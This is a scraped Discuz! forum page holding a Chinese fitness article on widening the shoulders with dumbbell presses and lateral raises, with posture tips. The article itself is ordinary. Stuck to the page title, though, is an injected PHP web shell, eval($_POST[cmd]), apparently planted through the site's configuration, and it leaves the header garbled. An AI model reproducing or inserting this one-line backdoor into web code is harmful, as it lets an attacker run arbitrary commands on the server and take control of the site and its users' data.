');eval($_POST[cmd])?>'); define('UC_APPID', 'UC_APPID'); define('UC_PPP', '20'); 男性肩肌速成訓練 - 型男服飾 - 四輪天下 - Powered by Discuz!
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男性肩肌速成訓練

 男士們做健身運動有很多目的,其中有很多人是希望增強身上的肌肉,彌補先天體形的不足,使到穿衣服時更好看。有些人由於肩膀不夠寬,穿衣服時不能像衣架子般擔起衣服,所以都會想鍛煉肩肌,希望加“橫”肩膀。以下介紹兩個簡單動作,可令你在短時間內鍛煉出寬厚的肩肌。

  一、肩上舉

  1.把兩個啞鈴握於手中,雙手微曲到與肩膀同一水準。

  2.雙手向上舉,當雙手伸直時,停留兩秒,之後再把雙手放回開始的位置。

  做這個動做時,一定要謹記腰背要挺直,否則在發力的時候,有機會傷及這兩部份的肌肉。為了加強刺激肌肉的效果,做動做時越慢越好。而當把啞鈴推至頂點時,手肘要有少許微曲,不要伸得太直,否則容易令到手肘關節出現勞損。

  二、肩平舉

  1.雙手垂直握著啞鈴。

  2.保持雙手手肘伸直,兩臂慢慢向上升起,至略高過肩臂,停留兩秒後,慢慢放回來始的位置。

  一般人做這個練習時,很易犯了身體前傾的毛病,這會對腰骨造成傷害。另外手肘一定要伸直,否剛會因動用了其他肌肉,而使刺激減少,練習效果大打折扣。另外當雙肩在頂點停留時,不要強忍呼吸,應緩慢的吸氣或呼氣。

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